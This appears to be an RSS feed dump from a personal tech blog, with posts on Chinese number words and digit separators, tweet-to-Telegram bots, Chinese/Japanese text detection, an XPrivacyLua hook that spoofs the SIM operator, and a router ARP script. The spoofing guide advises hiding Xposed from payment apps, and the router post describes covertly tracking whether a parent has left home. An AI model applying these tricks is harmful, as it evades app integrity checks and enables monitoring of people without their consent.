姑且猜测认为,可能是大陆的早期科学领域将「兆」这个字按照下数用法安插到了 [katex]10^6[/katex] 上面,并且使得「兆就是百万」这个概念通过短波频率或者计算机等领域的普及而深入人心,使得其他日常应用中开始逐渐出现 [katex]10^{12}[/katex] 数量级的数字之后,再去用「兆」这个字就会显得很尴尬。进而促使了「万亿」、「亿亿」这种「到『亿』封顶」的尴尬的计数系统的产生。不过具体那些「官媒」是否真的是按照这套到亿封顶的系统来计数的,由于这么大的数字在新闻媒体中实在是罕见,也就很难考证了。

+ + + +

另外一个有意思的地方是,虽然大陆经常有「兆字节」、「兆赫」、「兆瓦」这种称呼,摄像头的分辨率 MP(Megapixel)却是叫做「百万像素」,可能是因为「像素」并不是国际单位制衍生单位?(不过也没有单独把「百万像素」当作单位用就是了。)

+ + + +

至于我?我个人是比较偏向「亿、兆、京」这套万进系统的。毕竟这种单汉字带来的清爽与简洁比「万亿」、「亿亿」、「亿亿亿」什么听起来好得多。(至少不像是在唱戏)(虽然我自己也没有什么机会用到这些数字就是了)

+ + + +

不过回想起来,日常生活中能够用到 M/G/T 这种规模的 SI Prefix 的话,也就只有计算机的数据大小和调频收音机的频率了。有时候还有发电厂的功率(MW, megawatt),不过这个我听到的时候更少。

+ + + +

当时我在投票群里面提出这个问题的时候,还有人说过「遇到字节都是拼字母」云云。不知道他说话的时候是不是真的「一百二十八 em bee」这样读。

+ + + +

延伸阅读

+ + + + + + + +

这篇文章讲的和上面的内容大致相仿,但延伸出越南语较不常用的汉字词「兆(triệu)」表示「百万」的意思,以及有关于西文中「long scale」与「short scale」之间的区别。感谢 Proof of the Existence 的推荐

+ + + +

万位分隔符

+ + + +

细心的读者可能发现了,在最初的那个投票里面,所有的数字都是按照四位一组分割的。这也就是我想讲的第二个部分:「万位分隔符」。

+ + + +

众所周知,整个西文世界中的数字分组几乎都是三位一组的,尽管根据地区习惯或执行标准不同,使用的分隔符也不尽相同。西文中使用「千位分隔符」的一个原因是因为他们的语言是这样构成的:每一千倍都有一个名字。用英语举例:[katex]1000[/katex] 是 thousand、[katex]1000^2[/katex] 是 million、[katex]1000^3[/katex] 是 billion 等等。

+ + + +

然而,并不是所有语言都是这样的。主要语言当中,只有印度、孟加拉一带,以及中日韩这里没有用「汉字文化圈」这个叫法是因为越南的数字也是三位分隔的。_(:3」∠)_的语言是非三位分割习惯的Decimal searators — Wikipedia。印度的习惯是用 …-2-2-2-3 这种分组,这也是主要语言中唯一一个变数分组的格式。而中日韩的用语习惯则是四位分组。

+ + + +
+
  • 【英语】123 123 123
    one hundred twenty-three million
    one hundred twenty-three thousand
    one hundred twenty-three
  • 【斯瓦希里语】123 123 123
    milioni mia moja na ishirini na tatu,
    elfu mia moja na ishirini na tatu,
    mia moja na ishirini na tatu
  • 【印地语】12 12 12 012
    बारह करोड़
    बारह लाख
    बारह हज़ार
    बारह
  • 【中文】1234 1234 1234
    一千二百三十四亿
    一千二百三十四
    一千二百三十四
  • 【韩文】1234 1234 1234
    천이백삼십사
    천이백삼십사
    천이백삼십사
+
+ + + +
Tarun Bansal on India's "Who Wants To Be A Millionaire?"
印度版《谁能成为百万富翁》电视节目截图,注意上面的数字是 2-2-3 分组的。YouTube
+ + + +

与中日韩不同的是,印度的这个分隔方法至少有被编入标准Emmons, John (2018-03-25). “UNICODE LOCALE DATA MARKUP LANGUAGE (LDML) PART 3: NUMBERS”Unicode.org.并且被广泛使用。而遗憾的是中日韩并没有哪个国家把四位分隔符写入国家或是国际标准里面,相反的是,各国为了「与国际接轨」,在各自的国家标准中,尤其是在财务上,将千位分隔符定为了标准的数字格式。这里我们暂且不提这样做是否正确,以及四位分隔符是否会在金融和财务方面上产生障碍等等。单纯从数位分隔符的设计目的上来看,在中日韩语境中四位分隔符是完全说得通的。

+ + + +

正是因为各国都没有把万位分隔符这个概念写进标准,加之注意这种细节的人少之又少,想在各种计算机程序中加入万位分隔符支持变得比千位分隔符——甚至印度式分隔符——困难得多。以处理数字而闻名的 Microsoft Excel,想要实现四位分隔的功能也是用户根据处理位数硬编码进去引用自知乎专栏《Excel 偷懒的技术

+ + + +

中国大陆上面对于这种大数字通常是是完全不分隔,直接列出的。而台湾和日本有时会用汉字来做分隔符,来增强可读性。而这种写法中的汉字会比数字略小一些。例如:1 亿 2345  6789。

+ + + +
台湾选举期间的电视直播,YouTube
+ + + +
日本 2017 年众议院选举投票的电视转播,YouTube
+ + + +

个人感觉这种分隔方法比起只用符号分割的方法来说更容易理解,并且不容易和现存的千位分隔符混淆。只是这样写起来相对来说会有些麻烦。

+ + + +

与此同时,日本有时候也有着像 1,234 万 5,678 这种完全不能理解的写法的存在引用来源:[1] [2] [3]。这些应该就是单纯的为了加逗号而加逗号的吧。

+ + + +
preview
日本 NHK 电视台直播脱欧投票实况,下方的票数是逗号和汉字分隔混合式。来自知乎
+ + + +
这种神奇的计数方法的另一个例子。来自 Step-Try-Step
+ + + +
+ + + +

没想到就这么个话题我写了这么长。(其实是不知道怎么结尾了,那就这样好了。)最后提一下,不知怎的,万位分隔符好像还是没有想象中那么受欢迎的样子,不过我还是喜欢。

+ + + +
+ +
+

数字:「兆」与万位分隔符 appeared first on 1A23 Blog.

+]]>
+ + + + 15312
+ + Plltxe + https://1a23.com/works/open-source/plltxe/?utm_source=rss&utm_medium=rss&utm_campaign=plltxe + + + Mon, 30 Mar 2020 08:53:01 +0000 + + + + + https://1a23.com/?post_type=open-source&p=868 + + Forward tweets and toots to a Telegram Channel. Learn more about how to set it up See it work in production

+

Plltxe appeared first on 1A23 Studio.

+]]>
+ Forward tweets and toots to a Telegram Channel.

+ + + + + + + +
+ + + + +

Plltxe appeared first on 1A23 Studio.

+]]>
+ + + + 868
+ + Switch Galaxy Wearable Store Location using XPrivacyLua + https://blog.1a23.com/2020/03/25/switch-galaxy-wearable-store-location-using-xprivacylua/?utm_source=rss&utm_medium=rss&utm_campaign=switch-galaxy-wearable-store-location-using-xprivacylua + + + Wed, 25 Mar 2020 09:46:23 +0000 + + + + + https://blog.1a23.com/?p=15310 + + Galaxy Wearable Store (GWS) is the app store for Galaxy wearable devices of Samsung. GWS is strongly region-dependent, just like other aspects of the device (you have to do some software hacking for a device purchased in one region to use Samsung Pay in another region). Being able to run with non-Samsung devices means that […]

+

Switch Galaxy Wearable Store Location using XPrivacyLua appeared first on 1A23 Blog.

+]]>
+ Galaxy Wearable Store (GWS) is the app store for Galaxy wearable devices of Samsung. GWS is strongly region-dependent, just like other aspects of the device (you have to do some software hacking for a device purchased in one region to use Samsung Pay in another region). Being able to run with non-Samsung devices means that it cannot rely on the region-of-sale on the phone (and for some reason they didn’t choose to use the region of the device), GWS decided to use the region of your SIM card on the device to determine the store location.

+ + + + + + + +

This would lead to 2 consequences:

+ + + +
  • You won’t have access to the store when you don’t have SIM card on your phone;
  • You will lose your access of previous purchases if you swap for a SIM card in another country (they will come back if you swap back your SIM card).
+ + + +

So, for whichever reason you might want to switch store location for your Samsung wearables, if you have an Android phone that can run Xposed (or any of its fork) here’s a way to do it.

+ + + +

Steps

+ + + +

First of all, you should at least have installed Xposed (EdXposed, Virtual Xposed, Taichi, etc. should also work). If you have payment services like Samsung Pay and Google Pay on your phone, take care of them and don’t let them know that you have Xposed installed.

+ + + +

For the trick to work, we are going to use XPrivacyLua module and its Pro companion app (free). Install them, enable and restart.

+ + + +

Then open the app, look for the Galaxy Wearable app, and the plugin for your device, tick their checkboxes.

+ + + +
Galaxy Watch Plugin (checked)
+Galaxy Wearable (checked)
Tick the checkboxes of the apps mentioned
+ + + +

In each of the 2 apps, expand them and tick Read Telephony Data row.

+ + + +
+ + + +

Go to Manage hook definitions in the menu of the companion app, tap on TelephonyManager/getSimOperator, then Edit. Scroll to the end where you see the box Settings names, enter SimOperator.

+ + + + + + + +

Save the following code on your phone as a file named TelephonyManager_getSimOperatorName.lua.

+ + + +
-- This file modified from XPrivacyLua source code.
+-- Licensed under GPLv3 or later.
+
+-- Copyright 2017-2019 Marcel Bokhorst (M66B)
+-- Modified by Eana Hufwe, 2020.
+
+function after(hook, param)
+    local result = param:getResult()
+    if result == nil then
+        return false
+    end
+
+    local fake = param:getSetting("SimOperator")
+    param:setResult(fake)
+    return true, result, fake
+end
+
+ + + +

In the same Manage hook definitions screen, tap TelephonyManager/getSimOperator then Import script. Look for the file you just save in, and select it.

+ + + +

Then go back to the home screen of the companion app, you should see a new box says SimOperator in the list. You can put in the MCC-MNC code of your desired operator in your chosen region here. The MCC-MNC code should be a 5 to 6 digit number. For example, one code combination for AT&T could be 310 for MCC and 510 for MNC, then you should put 310510 in this box to switch to that region.

+ + + +
SimOperator box in the Custom Value section.
SimOperator box in the Custom Value section.
+ + + +

When you’re done, tap Save, and force restart all Galaxy Wearable-related apps.

+ + + +

Note If you are already using XPrivacy and enabled Read telephony data hook for other apps, all these apps will get the SIM operator you set just now. If you don’t want this to happen, you need to do these settings per-app, which requires you to pay for XPrivacyLua Pro.

+ + + +
+ + + +

P.S.: What do the shapes in XPrivacyLua’s logo mean? It looks kinda like the tail half of fish to me.

+

Switch Galaxy Wearable Store Location using XPrivacyLua appeared first on 1A23 Blog.

+]]>
+ + + + 15310
+ + Monitor Connected Devices to an ASUS Router Using Raspberry Pi + https://blog.1a23.com/2020/03/21/monitor-connected-devices-to-an-asus-router-using-raspberry-pi/?utm_source=rss&utm_medium=rss&utm_campaign=monitor-connected-devices-to-an-asus-router-using-raspberry-pi + + + Sat, 21 Mar 2020 08:59:47 +0000 + + + + + https://blog.1a23.com/?p=15308 + + Title should have explained it all. A simple Python script to monitor if a certain device has connected to the router via Wi-Fi, and send notifications accordingly. You can use this script for whatever purpose you wantI used it to monitor whether my parent has left home when I am “seemingly asleep”. , though probably […]

+

Monitor Connected Devices to an ASUS Router Using Raspberry Pi appeared first on 1A23 Blog.

+]]>
+ Title should have explained it all. A simple Python script to monitor if a certain device has connected to the router via Wi-Fi, and send notifications accordingly. You can use this script for whatever purpose you wantI used it to monitor whether my parent has left home when I am “seemingly asleep”. , though probably you might not be able to find one like most of others.

+ + + +

To use this script, you need SSH access to the router, something in your LAN that is always running (in my case, a Raspberry Pi), and the list of MAC addresses to monitor. In this example, I am using an ASUS RT-AC1200GU as the router. Other brand or make might need a different command.

+ + + + + + + +

First of all, SSH access of the router is needed to be enabled. In the router admin panel, go to Advanced SettingsAdministrationServiceEnable SSH, select Yes. Put your Raspberry Pi SSH public key into the Authorized Keys box. Then click Apply at the bottom.

+ + + +
Screenshot of the router admin panel
+ + + +

The key point of this script is to get a list of connected clients via the ARP table of the router. Through testing, the method has been working pretty well, and almost no delay in reflecting the connectivity of devices.

+ + + +
ssh admin@192.168.1.1 /sbin/arp -n
+? (192.168.1.2) at 00:11:22:33:44:55 [ether]  on br0
+? (192.168.1.3) at 66:77:88:99:aa:bb [ether]  on br0
+? (192.168.1.5) at cc:dd:ee:ff:00:11 [ether]  on br0
+? (192.168.1.7) at 22:33:44:55:66:77 [ether]  on br0
+? (192.168.1.9) at 88:99:aa:bb:cc:dd [ether]  on br0
+ + + +

Here you can see a list of devices with their IP and MAC address. We are using MAC address in the script so as to avoid change of IP in case of collision. MAC addresses of your target devices are easy to get from the status page of the router’s admin panel.

+ + + +

This script, written in Python, is ran every 10 minutes through Cron job on my Raspberry Pi. It only notifies when my own device is in the LAN and all devices to monitor are not. It will also reject to run when it cannot see the MAC address of itself is not seen in the list. (This would happen in cases like when the router is down.)

+ + + +

In the script I have used IFTTT Webhook for the notification. That’s because it is something easily enough to trigger in a script, but rarely used by me so that I can whitelist it from my Do Not Disturb mode. You can simply replace line 38 with anything service you want to use.

+ + + +
+ +
+ + + +
IFTTT activity config.
+ + + +

If you want to directly use this script, there are something that you need to add or change:

+ + + +
  • All the MAC addresses at the beginning;
  • IP address of your router;
  • The credentials of IFTTT Maker Webhook (if you want to use IFTTT);
  • Ensure that the status path is writable by the script;
  • Install requests;
  • Setup a cron job to run the script.
+ + + +

As simple as that.

+ + + +

Depending on your router brand and make, ARP table might not be updated as quickly as needed, in which case you may need to find another way to get the device list.

+

Monitor Connected Devices to an ASUS Router Using Raspberry Pi appeared first on 1A23 Blog.

+]]>
+ + + + 15308
+ + Sync Tweets to a Telegram Channel Using Account Activity API (and now Mastodon too) + https://blog.1a23.com/2020/03/21/sync-tweets-to-a-telegram-channel-using-account-activity-api/?utm_source=rss&utm_medium=rss&utm_campaign=sync-tweets-to-a-telegram-channel-using-account-activity-api + + + Fri, 20 Mar 2020 16:52:04 +0000 + + + + + + + https://blog.1a23.com/?p=15306 + + Yet another post that has something to do with Telegram. Yeah, I know, but there’s never such thing as too much when you talk about blog articles. A lot of people around my Telegram circle has been maintaining their own channels, and a lot of them has had a few hundreds or even thousands of […]

+

Sync Tweets to a Telegram Channel Using Account Activity API (and now Mastodon too) appeared first on 1A23 Blog.

+]]>
+ Yet another post that has something to do with Telegram. Yeah, I know, but there’s never such thing as too much when you talk about blog articles.

+ + + +

A lot of people around my Telegram circle has been maintaining their own channels, and a lot of them has had a few hundreds or even thousands of subscribers. I think that I may make one too, but I also don’t want to give up with my Twitter account which is more accessible to search engines. So why not sync my tweets to the channel? Given the openness of both Telegram and Twitter, this shouldn’t be much of an issue.

+ + + + + + + +

The first option I turned to is, of course, IFTTT. It is one of the most famous solution for casual automation. I have also used it in another script. The problem of IFTTT is that the option it provides is too simple. There is no text transformation, no condition and no everything I would need for an ideal forwarder. It even drops line breaks when quoting the tweet content.

+ + + +

Soon after I got time, I replaced the IFTTT bot with my own one for a better presentation and granular control over it.

+ + + +

The bot

+ + + +

Setting up a Telegram bot for this purpose isn’t hard, especially when it doesn’t require any input. In fact you can even reuse bot that you already have for this (which is what I was doing).

+ + + +

Add the bot to a channel as admin, get the ID/username of the channel, and you are good to go.

+ + + +

The hard part is to create a Twitter app to use the Account Activity API. You have to fill a quite lengthy survey telling them why you want to make an app and how are you going to use the API. Only after they have approved your request, then you can proceed to the next step.

+ + + +

Note that Twitter has been pretty strict on the quota of the Account Activity API ever since they have moved from the Streaming API (which has broken most third-party clients). You can’t share your API key and secret to more than 15 accounts if you are on the Sandbox (free) plan, or you may be asked to pay for the bill.

+ + + + + + + +

Also, since the new Account Activity API is webhook-like, that means you have to figure out, in one way or another, to expose your bot as an HTTP entry point. I used my existing Nginx web server to forward request to the bot. Other methods should also work.

+ + + +

I am using a Python library called Twitivity which provides a simple Flask web server and some helper functions, PickleDB for simple file-based key-value storage, and Python Telegram Bot for the bot.

+ + + +

Setup environment

+ + + +

Once you have set up your Twitter App, you can go to the Dev Environments page to create an environment for your Account Activity API. The environment label (e.g. env_name) will be used later in the code.

+ + + +

If you are running the bot on your own account, go to your app page and choose “Keys and tokens”. From there you can get your API key/token and access key/token in one go. For users other than yourself, you need to setup authentication manually to get the tokens.

+ + + +

When you have these tokens ready, you can then register your webhook with Twitter.

+ + + +
+ +
Python source to register webhook with Twitter.
+ + + +

Once the webhook is registered, you can copy over the config to the actual bot file, and start it up. Since it runs flask in the background, you can actually use all the fancy uWSGI and Gunicorn stuff to maintain the bot, but a simple flask dev server should suffice if you don’t tweet 100 times per second.

+ + + +
+ +
The bot script
+ + + +

As you might have seen above, the bot itself has quite a complicated logic. The bot would identify the nature of a tweet and treat each kind of tweet differently.

+ + + +
  • For plain tweets, the bot would expand all shortened links back as the length limit here isn’t that strict. Link preview will only be enabled if a link is found in the tweet.
  • For tweets with media, the bot will send them as picture/video (or media group) messages. Thank to the fact that Telegram Bot API accepts external media URL, we don’t need to download and upload again.
  • For retweets with comments, only the comment is copied over.
  • For likes and plain comments, the original tweet is only shown as link preview.
  • Every message sent has links to the original tweet, and the source tweet too if its a like or retweet. (The links are on the emoji at the end of the messages.)
  • If the tweet is a reply to something that we already have, it will reply to the previous message in the channel.
+ + + +

Some screenshots here:

+ + + +
A plain tweet
A plain tweet.
+ + + +
A retweet
A retweet
+ + + +
A retweet with comment
A retweet with comment
+ + + +
A liked tweet
A liked tweet
+ + + +
A plain tweet with a picture
A plain tweet with a picture
+ + + +
A plain tweet with multiple pictures.
A plain tweet with multiple pictures.
+ + + +
+ + + +

Update 30 Mar 2020: I have made another version of this script for Mastodon instances as well. The Mastodon version relies on the WebSocket Streaming API which is much easier to set up than the one for Twitter. You only need to go to your Mastodon instance, create an app, and get your access token. By default, the application management page is at https://example.com/settings/applications. Once you got your access token and everything on the Telegram side, you can simply download this script, modify the configs accordingly, and run it 24/7 wherever you want.

+ + + +

Note that there are some caveats on the Mastodon side. As the home stream is not designed to monitor the activity of one specific account, it means that:

+ + + +
  • No favorites can be captured, and
  • Boosts can only be found sometimes.
+ + + +

Everything else should work similar to the one for Twitter, except that it’s now an elephant (🐘) instead of a (🐦).

+ + + +
+ + + +

Last but not least, don’t forget to follow me on Twitter, Mastodon, and Telegram 🙂

+ + + + + + + +

+

Sync Tweets to a Telegram Channel Using Account Activity API (and now Mastodon too) appeared first on 1A23 Blog.

+]]>
+ + + + 15306
+ + NLP を使わず簡単に中国語と日本語を仕分ける方法 + https://blog.1a23.com/2020/03/16/nlp-wo-tsukawazu-kantan-ni-chugokugo-to-nihongo-wo-shiwakeru-houhou/?utm_source=rss&utm_medium=rss&utm_campaign=nlp-wo-tsukawazu-kantan-ni-chugokugo-to-nihongo-wo-shiwakeru-houhou + + + Mon, 16 Mar 2020 12:41:35 +0000 + + + + + https://blog.1a23.com/?p=15304 + + このブログの他の記事と同じ、この記事も自分のオープンソースプロジェクトを作るときに発見したものである。音楽ライブラリーのタイトル、歌詞などのデータに読みがなをつけたいときに、中国語と日本語のテキストを区別する方法が欲しかった。ボクの音楽ライブラリーに中国語、日本語とアルファベット系の言語しかなかった。アルファベット系の言語は大した処理をいらす、簡単にソートすることができるだが、中国語と日本語はそんなに簡単ではなかった、特に漢字に対する処理の仕方が違う。 タイトルで言ったの通り、これはあくまで簡単かつ荒い方法である。この方法を使うにはいろんな制限があり、正確度も完璧ではない。多くの場合は「まあまあ使える」の程度が目安です。当然、日本語と中国語はたくさんの共通点がある。例えば、「人生」という言葉はどちらでも通じるものです。もしこれがどっかのタイトルであって、この二文字でどの言語であるかは全く判断できないことである。 この方法をつかう条件はただ一つ:判断したい文字列は必ず日本語と中国語のいずれであって、複数の言語を混在しないこと。これ以上複雑な状況はこの方法で処理できないだろう。 どんなものかを総じて言えば、ずばり: 日本語独自の文字を見つかったら、この文字列を日本語とし;中国語独自の文字を見つかったら中国語とする。 とのことです。 ご存知の通り、日本語も中国語も、もう一方の言語で使えない文字がある。例えば: ひらがな、カタカナ 日本語の一部の新字体、国字 中国語の一部の簡体字 一つ目はシンプルで、Unicode ではカナをすでに一括りにまとめました。主な努力は二つ目と三つ目を見つけることである。リサーチをいろいろしたところ、日本語と中国語の漢字を変換するオープンソースコードで日本語独自の漢字のまとめを見つけました。 僕は日本語独自のひらがな、カタカナ、変体仮名、丸囲みカタカナ、半角カタカナ、組み合わせ単位と年号、そして前述の漢字などをまとめてみた。もし文字列にこれらのもじのいずれかがあったら、この文字列を日本語と判断することができる。 ぁあぃいぅうぇえぉおかがきぎくぐけげこごさざしじすずせぜそぞただちぢっつづてでとどなにぬねのはばぱひびぴふぶぷへべぺほぼぽまみむめもゃやゅゆょよらりるれろゎわゐゑをんゔゕゖ゛゜ゝゞゟ゠ーー𛀁𛀂𛀃𛀄𛀅𛀆𛀇𛀈𛀉𛀊𛀋𛀌𛀍𛀎𛀏𛀐𛀑𛀒𛀓𛀔𛀕𛀖𛀗𛀘𛀙𛀚𛀛𛀜𛀝𛀞𛀟𛀠𛀡𛀢𛀣𛀤𛀥𛀦𛀧𛀨𛀩𛀪𛀫𛀬𛀭𛀮𛀯𛀰𛀱𛀲𛀳𛀴𛀵𛀶𛀷𛀸𛀹𛀺𛀻𛀼𛀽𛀾𛀿𛁀𛁁𛁂𛁃𛁄𛁅𛁆𛁇𛁈𛁉𛁊𛁋𛁌𛁍𛁎𛁏𛁐𛁑𛁒𛁓𛁔𛁕𛁖𛁗𛁘𛁙𛁚𛁛𛁜𛁝𛁞𛁟𛁠𛁡𛁢𛁣𛁤𛁥𛁦𛁧𛁨𛁩𛁪𛁫𛁬𛁭𛁮𛁯𛁰𛁱𛁲𛁳𛁴𛁵𛁶𛁷𛁸𛁹𛁺𛁻𛁼𛁽𛁾𛁿𛂀𛂁𛂂𛂃𛂄𛂅𛂆𛂇𛂈𛂉𛂊𛂋𛂌𛂍𛂎𛂏𛂐𛂑𛂒𛂓𛂔𛂕𛂖𛂗𛂘𛂙𛂚𛂛𛂜𛂝𛂞𛂟𛂠𛂡𛂢𛂣𛂤𛂥𛂦𛂧𛂨𛂩𛂪𛂫𛂬𛂭𛂮𛂯𛂰𛂱𛂲𛂳𛂴𛂵𛂶𛂷𛂸𛂹𛂺𛂻𛂼𛂽𛂾𛂿𛃀𛃁𛃂𛃃𛃄𛃅𛃆𛃇𛃈𛃉𛃊𛃋𛃌𛃍𛃎𛃏𛃐𛃑𛃒𛃓𛃔𛃕𛃖𛃗𛃘𛃙𛃚𛃛𛃜𛃝𛃞𛃟𛃠𛃡𛃢𛃣𛃤𛃥𛃦𛃧𛃨𛃩𛃪𛃫𛃬𛃭𛃮𛃯𛃰𛃱𛃲𛃳𛃴𛃵𛃶𛃷𛃸𛃹𛃺𛃻𛃼𛃽𛃾𛃿𛄀𛄁𛄂𛄃𛄄𛄅𛄆𛄇𛄈𛄉𛄊𛄋𛄌𛄍𛄎𛄏𛄐𛄑𛄒𛄓𛄔𛄕𛄖𛄗𛄘𛄙𛄚𛄛𛄜𛄝𛄞🈀〱〲〳〴〵゛゜゠ァアィイゥウェエォオカガキギクグケゲコゴサザシジスズセゼソゾタダチヂッツヅテデトドナニヌネノハバパヒビピフブプヘベペホボポマミムメモャヤュユョヨラリルレロヮワヰヱヲンヴヵヶヷヸヹヺ・ーヽヾヿㇰㇱㇲㇳㇴㇵㇶㇷㇸㇹㇺㇻㇼㇽㇾㇿ㋐㋑㋒㋓㋔㋕㋖㋗㋘㋙㋚㋛㋜㋝㋞㋟㋠㋡㋢㋣㋤㋥㋦㋧㋨㋩㋪㋫㋬㋭㋮㋯㋰㋱㋲㋳㋴㋵㋶㋷㋸㋹㋺㋻㋼㋽㋾・ヲァィゥェォャュョッーアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワン𛀀㌀㌁㌂㌃㌄㌅㌆㌇㌈㌉㌊㌋㌌㌍㌎㌏㌐㌑㌒㌓㌔㌕㌖㌗㌘㌙㌚㌛㌜㌝㌞㌟㌠㌡㌢㌣㌤㌥㌦㌧㌨㌩㌪㌫㌬㌭㌮㌯㌰㌱㌲㌳㌴㌵㌶㌷㌸㌹㌺㌻㌼㌽㌾㌿㍀㍁㍂㍃㍄㍅㍆㍇㍈㍉㍊㍋㍌㍍㍎㍏㍐㍑㍒㍓㍔㍕㍖㍗㍻㍼㍽㍾㍿増楽薬霊塡犠渓著雑祖猟槇祉栄畳福込帰朗鉱獣砕呉響碑捗僧繊粋瀬繁層厳隠変頬剰拠剤斎専琢廃匂巣転黒社舗蔵伝歩鋳餠愼験抜読猪廊郞曽仮駅譲欄酔桟済気斉囲択経乗満穀難錬嘆戻醸虜寛銭様歳毎奨艶帯侮挙逸署器両釈節墨挿従権憎嬢都倹豊戦庁謁卑歓駆観揺徴悪徳壌団暑営娯弾渇恵祝縁枠勤隣対漢謹検卽摂類視発緖壊拡粛掲涙穏総圏拝沢贈圧浄顔仏図陥歴亀壱梅眞煮闘髪円扱塩騒懐覚敏軽峠戸頼荘黙晩諸継蛍遅逓祥練喩応悩姫険齢撃聴覧痩値鉄禍塀続勉臭鶏辺縄悔絵郷捜懲者鬪海児実薫亜渚歯駄渋弐広姉巻剣証塁単顕価禎祐突穂暦払栃訳渉県労麺糸焼勲神舎縦賓髄丼暁桜滝脳稲勧鎭祈売 正規表現を使えばもっとコンパクトにすることができる。 これに似てる方法で、中国語の簡体字から独自な漢字を選別して簡体字の文字列を判断することができる。しかし、このプロジェクトでそう言った需要がない為、ここで割愛させていただきます。 P.S.:漢字を選別する正規表現

+

NLP を使わず簡単に中国語と日本語を仕分ける方法 appeared first on 1A23 Blog.

+]]>
+ このブログの他の記事と同じ、この記事も自分のオープンソースプロジェクトを作るときに発見したものである。音楽ライブラリーのタイトル、歌詞などのデータに読みがなをつけたいときに、中国語と日本語のテキストを区別する方法が欲しかった。ボクの音楽ライブラリーに中国語、日本語とアルファベット系の言語しかなかった。アルファベット系の言語は大した処理をいらす、簡単にソートすることができるだが、中国語と日本語はそんなに簡単ではなかった、特に漢字に対する処理の仕方が違う。

+ + + + + + + +

タイトルで言ったの通り、これはあくまで簡単かつ荒い方法である。この方法を使うにはいろんな制限があり、正確度も完璧ではない。多くの場合は「まあまあ使える」の程度が目安です。当然、日本語と中国語はたくさんの共通点がある。例えば、「人生」という言葉はどちらでも通じるものです。もしこれがどっかのタイトルであって、この二文字でどの言語であるかは全く判断できないことである。

+ + + +

この方法をつかう条件はただ一つ:判断したい文字列は必ず日本語と中国語のいずれであって、複数の言語を混在しないこと。これ以上複雑な状況はこの方法で処理できないだろう。

+ + + +

どんなものかを総じて言えば、ずばり:

+ + + +

日本語独自の文字を見つかったら、この文字列を日本語とし;中国語独自の文字を見つかったら中国語とする。

+ + + +

とのことです。

+ + + +

ご存知の通り、日本語も中国語も、もう一方の言語で使えない文字がある。例えば:

+ + + +
  1. ひらがな、カタカナ
  2. 日本語の一部の新字体、国字
  3. 中国語の一部の簡体字
+ + + +

一つ目はシンプルで、Unicode ではカナをすでに一括りにまとめました。主な努力は二つ目と三つ目を見つけることである。リサーチをいろいろしたところ、日本語と中国語の漢字を変換するオープンソースコードで日本語独自の漢字のまとめを見つけました。

+ + + +

僕は日本語独自のひらがな、カタカナ、変体仮名、丸囲みカタカナ、半角カタカナ、組み合わせ単位と年号、そして前述の漢字などをまとめてみた。もし文字列にこれらのもじのいずれかがあったら、この文字列を日本語と判断することができる。

+ + + +
